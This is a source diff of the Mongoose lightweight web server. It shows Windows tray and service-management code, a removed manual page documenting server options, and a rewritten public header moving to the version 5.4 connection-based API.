#define ID_REMOVE_SERVICE 105
|
||||
#define ID_ICON 200
|
||||
static NOTIFYICONDATA TrayIcon;
|
||||
|
||||
static void edit_config_file(void) {
|
||||
const char **names, *value;
|
||||
FILE *fp;
|
||||
int i;
|
||||
char cmd[200];
|
||||
|
||||
// Create config file if it is not present yet
|
||||
if ((fp = fopen(config_file, "r")) != NULL) {
|
||||
fclose(fp);
|
||||
} else if ((fp = fopen(config_file, "a+")) != NULL) {
|
||||
fprintf(fp,
|
||||
"# Mongoose web server configuration file.\n"
|
||||
"# Lines starting with '#' and empty lines are ignored.\n"
|
||||
"# For detailed description of every option, visit\n"
|
||||
"# http://code.google.com/p/mongoose/wiki/MongooseManual\n\n");
|
||||
names = mg_get_valid_option_names();
|
||||
for (i = 0; names[i] != NULL; i += 3) {
|
||||
value = mg_get_option(ctx, names[i]);
|
||||
fprintf(fp, "# %s %s\n", names[i + 1], *value ? value : "<value>");
|
||||
}
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
snprintf(cmd, sizeof(cmd), "notepad.exe %s", config_file);
|
||||
WinExec(cmd, SW_SHOW);
|
||||
}
|
||||
|
||||
static void show_error(void) {
|
||||
char buf[256];
|
||||
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, GetLastError(),
|
||||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||||
buf, sizeof(buf), NULL);
|
||||
MessageBox(NULL, buf, "Error", MB_OK);
|
||||
}
|
||||
|
||||
static int manage_service(int action) {
|
||||
static const char *service_name = "Mongoose";
|
||||
SC_HANDLE hSCM = NULL, hService = NULL;
|
||||
SERVICE_DESCRIPTION descr = {server_name};
|
||||
char path[PATH_MAX + 20]; // Path to executable plus magic argument
|
||||
int success = 1;
|
||||
|
||||
if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
|
||||
GENERIC_WRITE : GENERIC_READ)) == NULL) {
|
||||
success = 0;
|
||||
show_error();
|
||||
} else if (action == ID_INSTALL_SERVICE) {
|
||||
GetModuleFileName(NULL, path, sizeof(path));
|
||||
strncat(path, " ", sizeof(path));
|
||||
strncat(path, service_magic_argument, sizeof(path));
|
||||
hService = CreateService(hSCM, service_name, service_name,
|
||||
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
|
||||
path, NULL, NULL, NULL, NULL, NULL);
|
||||
if (hService) {
|
||||
ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
|
||||
} else {
|
||||
show_error();
|
||||
}
|
||||
} else if (action == ID_REMOVE_SERVICE) {
|
||||
if ((hService = OpenService(hSCM, service_name, DELETE)) == NULL ||
|
||||
!DeleteService(hService)) {
|
||||
show_error();
|
||||
}
|
||||
} else if ((hService = OpenService(hSCM, service_name,
|
||||
SERVICE_QUERY_STATUS)) == NULL) {
|
||||
success = 0;
|
||||
}
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
|
||||
LPARAM lParam) {
|
||||
static SERVICE_TABLE_ENTRY service_table[] = {
|
||||
{server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
|
||||
{NULL, NULL}
|
||||
};
|
||||
int service_installed;
|
||||
char buf[200], *service_argv[] = {__argv[0], NULL};
|
||||
POINT pt;
|
||||
HMENU hMenu;
|
||||
|
||||
switch (msg) {
|
||||
case WM_CREATE:
|
||||
if (__argv[1] != NULL &&
|
||||
!strcmp(__argv[1], service_magic_argument)) {
|
||||
start_mongoose(1, service_argv);
|
||||
StartServiceCtrlDispatcher(service_table);
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
start_mongoose(__argc, __argv);
|
||||
}
|
||||
break;
|
||||
case WM_COMMAND:
|
||||
switch (LOWORD(wParam)) {
|
||||
case ID_QUIT:
|
||||
mg_stop(ctx);
|
||||
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
|
||||
PostQuitMessage(0);
|
||||
break;
|
||||
case ID_EDIT_CONFIG:
|
||||
edit_config_file();
|
||||
break;
|
||||
case ID_INSTALL_SERVICE:
|
||||
case ID_REMOVE_SERVICE:
|
||||
manage_service(LOWORD(wParam));
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case WM_USER:
|
||||
switch (lParam) {
|
||||
case WM_RBUTTONUP:
|
||||
case WM_LBUTTONUP:
|
||||
case WM_LBUTTONDBLCLK:
|
||||
hMenu = CreatePopupMenu();
|
||||
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
|
||||
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
|
||||
service_installed = manage_service(0);
|
||||
snprintf(buf, sizeof(buf), "NT service: %s installed",
|
||||
service_installed ? "" : "not");
|
||||
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
|
||||
AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
|
||||
ID_INSTALL_SERVICE, "Install service");
|
||||
AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
|
||||
ID_REMOVE_SERVICE, "Deinstall service");
|
||||
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
|
||||
AppendMenu(hMenu, MF_STRING, ID_EDIT_CONFIG, "Edit config file");
|
||||
AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
|
||||
GetCursorPos(&pt);
|
||||
SetForegroundWindow(hWnd);
|
||||
TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
|
||||
PostMessage(hWnd, WM_NULL, 0, 0);
|
||||
DestroyMenu(hMenu);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case WM_CLOSE:
|
||||
mg_stop(ctx);
|
||||
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
|
||||
PostQuitMessage(0);
|
||||
return 0; // We've just sent our own quit message, with proper hwnd.
|
||||
}
|
||||
|
||||
return DefWindowProc(hWnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
|
||||
WNDCLASS cls;
|
||||
HWND hWnd;
|
||||
MSG msg;
|
||||
|
||||
init_server_name();
|
||||
memset(&cls, 0, sizeof(cls));
|
||||
cls.lpfnWndProc = (WNDPROC) WindowProc;
|
||||
cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
|
||||
cls.lpszClassName = server_name;
|
||||
|
||||
RegisterClass(&cls);
|
||||
hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
|
||||
0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
ShowWindow(hWnd, SW_HIDE);
|
||||
|
||||
TrayIcon.cbSize = sizeof(TrayIcon);
|
||||
TrayIcon.uID = ID_TRAYICON;
|
||||
TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
|
||||
TrayIcon.hIcon = LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(ID_ICON),
|
||||
IMAGE_ICON, 16, 16, 0);
|
||||
TrayIcon.hWnd = hWnd;
|
||||
snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
|
||||
TrayIcon.uCallbackMessage = WM_USER;
|
||||
Shell_NotifyIcon(NIM_ADD, &TrayIcon);
|
||||
|
||||
while (GetMessage(&msg, hWnd, 0, 0) > 0) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
}
|
||||
|
||||
// Return the WM_QUIT value.
|
||||
return msg.wParam;
|
||||
}
|
||||
#else
|
||||
int main(int argc, char *argv[]) {
|
||||
init_server_name();
|
||||
start_mongoose(argc, argv);
|
||||
printf("%s started on port(s) %s with web root [%s]\n",
|
||||
server_name, mg_get_option(ctx, "listening_ports"),
|
||||
mg_get_option(ctx, "document_root"));
|
||||
while (exit_flag == 0) {
|
||||
sleep(1);
|
||||
}
|
||||
printf("Exiting on signal %d, waiting for all threads to finish...",
|
||||
exit_flag);
|
||||
fflush(stdout);
|
||||
mg_stop(ctx);
|
||||
printf("%s", " done.\n");
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
#endif /* _WIN32 */
|
||||
-184
@@ -1,184 +0,0 @@
|
||||
.\" Process this file with
|
||||
.\" groff -man -Tascii mongoose.1
|
||||
.\" $Id: mongoose.1,v 1.12 2008/11/29 15:32:42 drozd Exp $
|
||||
.Dd Sep 23, 2012
|
||||
.Dt mongoose 1
|
||||
.Sh NAME
|
||||
.Nm mongoose
|
||||
.Nd lightweight web server
|
||||
.Sh SYNOPSIS
|
||||
.Nm
|
||||
.Op Ar config_file
|
||||
.Op Ar OPTIONS
|
||||
.Nm
|
||||
.Fl A Ar htpasswd_file domain_name user_name password
|
||||
.Sh DESCRIPTION
|
||||
.Nm
|
||||
is small, fast and easy to use web server with CGI, SSL, MD5 authorization,
|
||||
and basic SSI support.
|
||||
.Pp
|
||||
.Nm
|
||||
does not detach from terminal, and uses current working directory
|
||||
as the web root, unless
|
||||
.Fl r
|
||||
option is specified.
|
||||
It is possible to specify multiple ports to listen on. For example, to make
|
||||
mongoose listen on HTTP port 80 and HTTPS port 443, one should start it as:
|
||||
.Nm
|
||||
.Fl s Ar cert.pem Fl p Ar 80,443s
|
||||
.Pp
|
||||
Unlike other web servers,
|
||||
.Nm
|
||||
does not require CGI scripts be put in a special directory. CGI scripts can
|
||||
be anywhere. CGI (and SSI) files are recognized by the file name pattern.
|
||||
.Nm
|
||||
uses shell-like glob patterns with the following syntax:
|
||||
.Bl -tag -compact -width indent
|
||||
.It **
|
||||
Matches everything
|
||||
.It *
|
||||
Matches everything but slash character, '/'
|
||||
.It ?
|
||||
Matches any character
|
||||
.It $
|
||||
Matches the end of the string
|
||||
.It |
|
||||
Matches if pattern on the left side or the right side matches. Pattern on the
|
||||
left side is matched first
|
||||
.El
|
||||
All other characters in the pattern match themselves.
|
||||
.Pp
|
||||
If no arguments are given,
|
||||
.Nm
|
||||
searches for a configuration file called "mongoose.conf" in the same directory
|
||||
where mongoose binary is located. Alternatively, a file name could be
|
||||
specified in the command line. Format of the configuration file is the same
|
||||
as for the command line options except that each option must be specified
|
||||
on a separate line, leading dashes for option names must be omitted.
|
||||
Lines beginning with '#' and empty lines are ignored.
|
||||
.Pp
|
||||
.Sh OPTIONS
|
||||
.Bl -tag -width indent
|
||||
.It Fl A Ar htpasswd_file domain_name user_name password
|
||||
Add/edit user's password in the passwords file. Deleting users can be done
|
||||
with any text editor. Functionality is similar to Apache's
|
||||
.Ic htdigest
|
||||
utility.
|
||||
.It Fl C Ar cgi_pattern
|
||||
All files that fully match cgi_pattern are treated as CGI.
|
||||
Default pattern allows CGI files be
|
||||
anywhere. To restrict CGIs to certain directory, use e.g. "-C /cgi-bin/**.cgi".
|
||||
Default: "**.cgi$|**.pl$|**.php$"
|
||||
.It Fl E Ar cgi_environment
|
||||
Extra environment variables to be passed to the CGI script in addition to
|
||||
standard ones. The list must be comma-separated list of X=Y pairs, like this:
|
||||
"VARIABLE1=VALUE1,VARIABLE2=VALUE2". Default: ""
|
||||
.It Fl G Ar put_delete_passwords_file
|
||||
PUT and DELETE passwords file. This must be specified if PUT or
|
||||
DELETE methods are used. Default: ""
|
||||
.It Fl I Ar cgi_interpreter
|
||||
Use
|
||||
.Ar cgi_interpreter
|
||||
as a CGI interpreter for all CGI scripts regardless script extension.
|
||||
Mongoose decides which interpreter to use by looking at
|
||||
the first line of a CGI script. Default: "".
|
||||
.It Fl P Ar protect_uri
|
||||
Comma separated list of URI=PATH pairs, specifying that given URIs
|
||||
must be protected with respected password files. Default: ""
|
||||
.It Fl R Ar authentication_domain
|
||||
Authorization realm. Default: "mydomain.com"
|
||||
.It Fl S Ar ssi_pattern
|
||||
All files that fully match ssi_pattern are treated as SSI.
|
||||
Unknown SSI directives are silently ignored. Currently, two SSI directives
|
||||
are supported, "include" and "exec". Default: "**.shtml$|**.shtm$"
|
||||
.It Fl T Ar throttle
|
||||
Limit download speed for clients.
|
||||
.Ar throttle
|
||||
is a comma-separated list of key=value pairs, where
|
||||
key could be a '*' character (limit for all connections), a subnet in form
|
||||
x.x.x.x/mask (limit for a given subnet, for example 10.0.0.0/8), or an
|
||||
URI prefix pattern (limit for the set of URIs, for example /foo/**). The value
|
||||
is a floating-point number of bytes per second, optionally followed by a
|
||||
`k' or `m' character, meaning kilobytes and megabytes respectively. A limit
|
||||
of 0 means unlimited rate. The last matching rule wins. For example,
|
||||
"*=1k,10.0.0.0/8" means limit everybody to 1 kilobyte per second, but give
|
||||
people from 10/8 subnet unlimited speed. Default: ""
|
||||
.It Fl a Ar access_log_file
|
||||
Access log file. Default: "", no logging is done.
|
||||
.It Fl d Ar enable_directory_listing
|
||||
Enable/disable directory listing. Default: "yes"
|
||||
.It Fl e Ar error_log_file
|
||||
Error log file. Default: "", no errors are logged.
|
||||
.It Fl g Ar global_passwords_file
|
||||
Location of a global passwords file. If set, per-directory .htpasswd files are
|
||||
ignored, and all requests must be authorised against that file. Default: ""
|
||||
.It Fl i Ar index_files
|
||||
Comma-separated list of files to be treated as directory index files.
|
||||
Default: "index.html,index.htm,index.cgi"
|
||||
.It Fl l Ar access_control_list
|
||||
Specify access control list (ACL). ACL is a comma separated list
|
||||
of IP subnets, each subnet is prepended by '-' or '+' sign. Plus means allow,
|
||||
minus means deny. If subnet mask is
|
||||
omitted, like "-1.2.3.4", then it means single IP address. Mask may vary
|
||||
from 0 to 32 inclusive. On each request, full list is traversed, and
|
||||
last match wins. Default setting is to allow all. For example, to allow only
|
||||
192.168/16 subnet to connect, run "mongoose -0.0.0.0/0,+192.168/16".
|
||||
Default: ""
|
||||
.It Fl m Ar extra_mime_types
|
||||
Extra mime types to recognize, in form
|
||||
"extension1=type1,extension2=type2,...". Extension must include dot.
|
||||
Example: "mongoose -m .cpp=plain/text,.java=plain/text". Default: ""
|
||||
.It Fl p Ar listening_ports
|
||||
Comma-separated list of ports to listen on. If the port is SSL, a letter 's'
|
||||
must be appeneded, for example, "-p 80,443s" will open port 80 and port 443,
|
||||
and connections on port 443 will be SSL-ed. It is possible to specify an
|
||||
IP address to bind to. In this case, an IP address and a colon must be
|
||||
prepended to the port number. For example, to bind to a loopback interface
|
||||
on port 80 and to all interfaces on HTTPS port 443, use
|
||||
"mongoose -p 127.0.0.1:80,443s". Default: "8080"
|
||||
.It Fl r Ar document_root
|
||||
Location of the WWW root directory. Default: "."
|
||||
.It Fl s Ar ssl_certificate
|
||||
Location of SSL certificate file. Default: ""
|
||||
.It Fl t Ar num_threads
|
||||
Number of worker threads to start. Default: "10"
|
||||
.It Fl u Ar run_as_user
|
||||
Switch to given user's credentials after startup. Default: ""
|
||||
.It Fl w Ar url_rewrite_patterns
|
||||
Comma-separated list of URL rewrites in the form of
|
||||
"pattern=substitution,..." If the "pattern" matches some prefix
|
||||
of the requested URL, then matched prefix gets substituted with "substitution".
|
||||
For example, "-w /config=/etc,**.doc|**.rtf=/path/to/cgi-bin/handle_doc.cgi"
|
||||
will serve all URLs that start with "/config" from the "/etc" directory, and
|
||||
call handle_doc.cgi script for .doc and .rtf file requests. If some pattern
|
||||
matches, no further matching/substitution is performed
|
||||
(first matching pattern wins). Use full paths in substitutions. Default: ""
|
||||
.It Fl x Ar hide_files_patterns
|
||||
A prefix pattern for the files to hide. Files that match the pattern will not
|
||||
show up in directory listing and return 404 Not Found if requested. Default: ""
|
||||
.El
|
||||
.Pp
|
||||
.Sh EMBEDDING
|
||||
.Nm
|
||||
was designed to be embeddable into C/C++ applications. Since the
|
||||
source code is contained in single C file, it is fairly easy to embed it
|
||||
and follow the updates. Please refer to http://code.google.com/p/mongoose
|
||||
for details.
|
||||
.Pp
|
||||
.Sh EXAMPLES
|
||||
.Bl -tag -width indent
|
||||
.It Nm Fl r Ar /var/www Fl s Ar /etc/cert.pem Fl p Ar 8080,8043s
|
||||
Start serving files from /var/www. Listen on port 8080 for HTTP, and 8043
|
||||
for HTTPS connections. Use /etc/cert.pem as SSL certificate file.
|
||||
.It Nm Fl l Ar -0.0.0.0/0,+10.0.0.0/8,+1.2.3.4
|
||||
Deny connections from everywhere, allow only IP address 1.2.3.4 and
|
||||
all IP addresses from 10.0.0.0/8 subnet to connect.
|
||||
.It Nm Fl w Ar **=/usr/bin/script.cgi
|
||||
Invoke /usr/bin/script.cgi for every incoming request, regardless of the URL.
|
||||
.El
|
||||
.Pp
|
||||
.Sh COPYRIGHT
|
||||
.Nm
|
||||
is licensed under the terms of the MIT license.
|
||||
.Sh AUTHOR
|
||||
.An Sergey Lyubka Aq valenok@gmail.com .
|
||||
+5057
-5177
File diff suppressed because it is too large.
Load diff
+107
-338
@@ -1,374 +1,143 @@
|
||||
// Copyright (c) 2004-2012 Sergey Lyubka
|
||||
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
|
||||
// Copyright (c) 2013-2014 Cesanta Software Limited
|
||||
// All rights reserved
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
// This library is dual-licensed: you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License version 2 as
|
||||
// published by the Free Software Foundation. For the terms of this
|
||||
// license, see <http://www.gnu.org/licenses/>.
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
// You are free to use this library under the terms of the GNU General
|
||||
// Public License, but WITHOUT ANY WARRANTY; without even the implied
|
||||
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
// See the GNU General Public License for more details.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
// Alternatively, you can license this library under a commercial
|
||||
// license, as set out in <http://cesanta.com/>.
|
||||
//
|
||||
// NOTE: Detailed API documentation is at http://cesanta.com/#docs
|
||||
|
||||
#ifndef MONGOOSE_HEADER_INCLUDED
|
||||
#define MONGOOSE_HEADER_INCLUDED
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stddef.h>
|
||||
#define MONGOOSE_VERSION "5.4"
|
||||
|
||||
#include <stdio.h> // required for FILE
|
||||
#include <stddef.h> // required for size_t
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
struct mg_context; // Handle for the HTTP service itself
|
||||
struct mg_connection; // Handle for the individual connection
|
||||
|
||||
|
||||
// This structure contains information about the HTTP request.
|
||||
struct mg_request_info {
|
||||
// This structure contains information about HTTP request.
|
||||
struct mg_connection {
|
||||
const char *request_method; // "GET", "POST", etc
|
||||
const char *uri; // URL-decoded URI
|
||||
const char *http_version; // E.g. "1.0", "1.1"
|
||||
const char *query_string; // URL part after '?', not including '?', or NULL
|
||||
const char *remote_user; // Authenticated user, or NULL if no auth used
|
||||
long remote_ip; // Client's IP address
|
||||
int remote_port; // Client's port
|
||||
int is_ssl; // 1 if SSL-ed, 0 if not
|
||||
int num_headers; // Number of headers
|
||||
|
||||
char remote_ip[48]; // Max IPv6 string length is 45 characters
|
||||
char local_ip[48]; // Local IP address
|
||||
unsigned short remote_port; // Client's port
|
||||
unsigned short local_port; // Local port number
|
||||
|
||||
int num_headers; // Number of HTTP headers
|
||||
struct mg_header {
|
||||
const char *name; // HTTP header name
|
||||
const char *value; // HTTP header value
|
||||
} http_headers[64]; // Maximum 64 headers
|
||||
void *user_data; // User data pointer passed to the mg_start()
|
||||
void *ev_data; // Event-specific data pointer
|
||||
} http_headers[30];
|
||||
|
||||
char *content; // POST (or websocket message) data, or NULL
|
||||
size_t content_len; // Data length
|
||||
|
||||
int is_websocket; // Connection is a websocket connection
|
||||
int status_code; // HTTP status code for HTTP error handler
|
||||
int wsbits; // First byte of the websocket frame
|
||||
void *server_param; // Parameter passed to mg_add_uri_handler()
|
||||
void *connection_param; // Placeholder for connection-specific data
|
||||
void *callback_param; // Needed by mg_iterate_over_connections()
|
||||
};
|
||||
|
||||
|
||||
// Various events on which user-defined callback function is called by Mongoose.
|
||||
struct mg_server; // Opaque structure describing server instance
|
||||
enum mg_result { MG_FALSE, MG_TRUE, MG_MORE };
|
||||
enum mg_event {
|
||||
// New HTTP request has arrived from the client.
|
||||
// If callback returns non-NULL, Mongoose stops handling current request.
|
||||
// ev_data contains NULL.
|
||||
MG_NEW_REQUEST,
|
||||
MG_POLL = 100, // Callback return value is ignored
|
||||
MG_CONNECT, // If callback returns MG_FALSE, connect fails
|
||||
MG_AUTH, // If callback returns MG_FALSE, authentication fails
|
||||
MG_REQUEST, // If callback returns MG_FALSE, Mongoose continues with req
|
||||
MG_REPLY, // If callback returns MG_FALSE, Mongoose closes connection
|
||||
MG_CLOSE, // Connection is closed, callback return value is ignored
|
||||
MG_WS_HANDSHAKE, // New websocket connection, handshake request
|
||||
MG_WS_CONNECT, // New websocket connection established
|
||||
MG_HTTP_ERROR // If callback returns MG_FALSE, Mongoose continues with err
|
||||
};
|
||||
typedef int (*mg_handler_t)(struct mg_connection *, enum mg_event);
|
||||
|
||||
// Mongoose has finished handling the request.
|
||||
// Callback return value is ignored.
|
||||
// ev_data contains NULL.
|
||||
MG_REQUEST_COMPLETE,
|
||||
|
||||
// HTTP error must be returned to the client.
|
||||
// If callback returns non-NULL, Mongoose stops handling error.
|
||||
// ev_data contains HTTP error code:
|
||||
// int http_reply_status_code = (long) request_info->ev_data;
|
||||
MG_HTTP_ERROR,
|
||||
|
||||
// Mongoose logs a message.
|
||||
// If callback returns non-NULL, Mongoose stops handling that event.
|
||||
// ev_data contains a message to be logged:
|
||||
// const char *log_message = request_info->ev_data;
|
||||
MG_EVENT_LOG,
|
||||
|
||||
// SSL initialization, sent before certificate setup.
|
||||
// If callback returns non-NULL, Mongoose does not set up certificates.
|
||||
// ev_data contains server's OpenSSL context:
|
||||
// SSL_CTX *ssl_context = request_info->ev_data;
|
||||
MG_INIT_SSL,
|
||||
|
||||
// Sent on HTTP connect, before websocket handshake.
|
||||
// If user callback returns NULL, then mongoose proceeds
|
||||
// with handshake, otherwise it closes the connection.
|
||||
// ev_data contains NULL.
|
||||
MG_WEBSOCKET_CONNECT,
|
||||
|
||||
// Handshake has been successfully completed.
|
||||
// Callback's return value is ignored.
|
||||
// ev_data contains NULL.
|
||||
MG_WEBSOCKET_READY,
|
||||
|
||||
// Incoming message from the client, data could be read with mg_read().
|
||||
// If user callback returns non-NULL, mongoose closes the websocket.
|
||||
// ev_data contains NULL.
|
||||
MG_WEBSOCKET_MESSAGE,
|
||||
|
||||
// Client has closed the connection.
|
||||
// Callback's return value is ignored.
|
||||
// ev_data contains NULL.
|
||||
MG_WEBSOCKET_CLOSE,
|
||||
|
||||
// Mongoose tries to open file.
|
||||
// If callback returns non-NULL, Mongoose will not try to open it, but
|
||||
// will use the returned value as a pointer to the file data. This allows
|
||||
// for example to serve files from memory.
|
||||
// ev_data contains file path, including document root path.
|
||||
// Upon return, ev_data should return file size, which should be a long int.
|
||||
//
|
||||
// const char *file_name = request_info->ev_data;
|
||||
// if (strcmp(file_name, "foo.txt") == 0) {
|
||||
// request_info->ev_data = (void *) (long) 4;
|
||||
// return "data";
|
||||
// }
|
||||
// return NULL;
|
||||
//
|
||||
// Note that this even is sent multiple times during one request. Each
|
||||
// time mongoose tries to open or stat the file, this event is sent, e.g.
|
||||
// for opening .htpasswd file, stat-ting requested file, opening requested
|
||||
// file, etc.
|
||||
MG_OPEN_FILE,
|
||||
|
||||
// Mongoose initializes Lua server page. Sent only if Lua support is enabled.
|
||||
// Callback's return value is ignored.
|
||||
// ev_data contains lua_State pointer.
|
||||
MG_INIT_LUA,
|
||||
|
||||
// Mongoose has uploaded file to a temporary directory.
|
||||
// Callback's return value is ignored.
|
||||
// ev_data contains NUL-terminated file name.
|
||||
MG_UPLOAD,
|
||||
// Websocket opcodes, from http://tools.ietf.org/html/rfc6455
|
||||
enum {
|
||||
WEBSOCKET_OPCODE_CONTINUATION = 0x0,
|
||||
WEBSOCKET_OPCODE_TEXT = 0x1,
|
||||
WEBSOCKET_OPCODE_BINARY = 0x2,
|
||||
WEBSOCKET_OPCODE_CONNECTION_CLOSE = 0x8,
|
||||
WEBSOCKET_OPCODE_PING = 0x9,
|
||||
WEBSOCKET_OPCODE_PONG = 0xa
|
||||
};
|
||||
|
||||
|
||||
// Prototype for the user-defined function. Mongoose calls this function
|
||||
// on every MG_* event.
|
||||
//
|
||||
// Parameters:
|
||||
// event: which event has been triggered.
|
||||
// conn: opaque connection handler. Could be used to read, write data to the
|
||||
// client, etc. See functions below that have "mg_connection *" arg.
|
||||
//
|
||||
// Return:
|
||||
// If handler returns non-NULL, that means that handler has processed the
|
||||
// request by sending appropriate HTTP reply to the client. Mongoose treats
|
||||
// the request as served.
|
||||
// If handler returns NULL, that means that handler has not processed
|
||||
// the request. Handler must not send any data to the client in this case.
|
||||
// Mongoose proceeds with request handling as if nothing happened.
|
||||
typedef void *(*mg_callback_t)(enum mg_event event, struct mg_connection *conn);
|
||||
|
||||
|
||||
// Start web server.
|
||||
//
|
||||
// Parameters:
|
||||
// callback: user defined event handling function or NULL.
|
||||
// options: NULL terminated list of option_name, option_value pairs that
|
||||
// specify Mongoose configuration parameters.
|
||||
//
|
||||
// Side-effects: on UNIX, ignores SIGCHLD and SIGPIPE signals. If custom
|
||||
// processing is required for these, signal handlers must be set up
|
||||
// after calling mg_start().
|
||||
//
|
||||
//
|
||||
// Example:
|
||||
// const char *options[] = {
|
||||
// "document_root", "/var/www",
|
||||
// "listening_ports", "80,443s",
|
||||
// NULL
|
||||
// };
|
||||
// struct mg_context *ctx = mg_start(&my_func, NULL, options);
|
||||
//
|
||||
// Please refer to http://code.google.com/p/mongoose/wiki/MongooseManual
|
||||
// for the list of valid option and their possible values.
|
||||
//
|
||||
// Return:
|
||||
// web server context, or NULL on error.
|
||||
struct mg_context *mg_start(mg_callback_t callback, void *user_data,
|
||||
const char **options);
|
||||
|
||||
|
||||
// Stop the web server.
|
||||
//
|
||||
// Must be called last, when an application wants to stop the web server and
|
||||
// release all associated resources. This function blocks until all Mongoose
|
||||
// threads are stopped. Context pointer becomes invalid.
|
||||
void mg_stop(struct mg_context *);
|
||||
|
||||
|
||||
// Get the value of particular configuration parameter.
|
||||
// The value returned is read-only. Mongoose does not allow changing
|
||||
// configuration at run time.
|
||||
// If given parameter name is not valid, NULL is returned. For valid
|
||||
// names, return value is guaranteed to be non-NULL. If parameter is not
|
||||
// set, zero-length string is returned.
|
||||
const char *mg_get_option(const struct mg_context *ctx, const char *name);
|
||||
|
||||
|
||||
// Return array of strings that represent valid configuration options.
|
||||
// For each option, a short name, long name, and default value is returned.
|
||||
// Array is NULL terminated.
|
||||
// Server management functions
|
||||
struct mg_server *mg_create_server(void *server_param, mg_handler_t handler);
|
||||
void mg_destroy_server(struct mg_server **);
|
||||
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
|
||||
int mg_poll_server(struct mg_server *, int milliseconds);
|
||||
const char **mg_get_valid_option_names(void);
|
||||
const char *mg_get_option(const struct mg_server *server, const char *name);
|
||||
void mg_set_listening_socket(struct mg_server *, int sock);
|
||||
int mg_get_listening_socket(struct mg_server *);
|
||||
void mg_iterate_over_connections(struct mg_server *, mg_handler_t, void *);
|
||||
struct mg_connection *mg_next(struct mg_server *, struct mg_connection *);
|
||||
void mg_wakeup_server(struct mg_server *);
|
||||
void mg_wakeup_server_ex(struct mg_server *, mg_handler_t, const char *, ...);
|
||||
struct mg_connection *mg_connect(struct mg_server *, const char *, int, int);
|
||||
|
||||
// Connection management functions
|
||||
void mg_send_status(struct mg_connection *, int status_code);
|
||||
void mg_send_header(struct mg_connection *, const char *name, const char *val);
|
||||
size_t mg_send_data(struct mg_connection *, const void *data, int data_len);
|
||||
size_t mg_printf_data(struct mg_connection *, const char *format, ...);
|
||||
size_t mg_write(struct mg_connection *, const void *buf, int len);
|
||||
size_t mg_printf(struct mg_connection *conn, const char *fmt, ...);
|
||||
|
||||
// Add, edit or delete the entry in the passwords file.
|
||||
//
|
||||
// This function allows an application to manipulate .htpasswd files on the
|
||||
// fly by adding, deleting and changing user records. This is one of the
|
||||
// several ways of implementing authentication on the server side. For another,
|
||||
// cookie-based way please refer to the examples/chat.c in the source tree.
|
||||
//
|
||||
// If password is not NULL, entry is added (or modified if already exists).
|
||||
// If password is NULL, entry is deleted.
|
||||
//
|
||||
// Return:
|
||||
// 1 on success, 0 on error.
|
||||
